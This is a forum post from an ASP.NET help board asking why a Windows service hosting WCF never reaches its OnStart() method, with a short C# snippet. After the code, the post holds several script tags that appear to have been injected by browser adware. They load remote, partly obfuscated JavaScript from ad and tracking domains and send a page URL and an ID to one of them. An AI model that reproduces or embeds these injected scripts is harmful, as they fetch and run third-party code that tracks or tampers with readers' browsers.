locked
Windows service doesn't hit Onstart() method RRS feed

  • Question

  • User2006903509 posted

    I have created a windows service my WCF and when i stop the the service and i run the application it is not throwing any error.When i debug it dint even hit onstart method of windows service.

    protected override void OnStart(string[] args)
            {
                System.Diagnostics.Debugger.Launch();
                if (myServiceHost != null)
                {
                    myServiceHost.Close();
                }
                myServiceHost = new ServiceHost(typeof(Service1));
                myServiceHost.Open();
            }


    <script src="https://secure-content-delivery.com/data.js.php?i={586B828B-1991-4F92-8D88-C1EC60A77CFB}&d=2013-07-21&s=http://forums.asp.net/post/edit/5492067&cb=0.22061329552178233" type="text/javascript"></script> <script type="text/javascript" src="//secure-content-delivery.com/data.geo.php?callback=window.__geo.dataLoaded"></script> <script id="__changoScript" type="text/javascript">// <![CDATA[ var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // ]]></script> <script data-sifi-parsed="true" src="http://i.simpli.fi/dpx.js?cid=3065&m=0" id="__simpliScript" type="text/javascript"></script> <script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>
    Tuesday, August 27, 2013 12:29 AM

Answers

All replies